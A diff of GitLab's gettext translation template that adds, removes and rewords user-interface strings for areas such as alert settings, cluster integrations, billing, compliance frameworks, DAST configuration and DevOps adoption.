+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
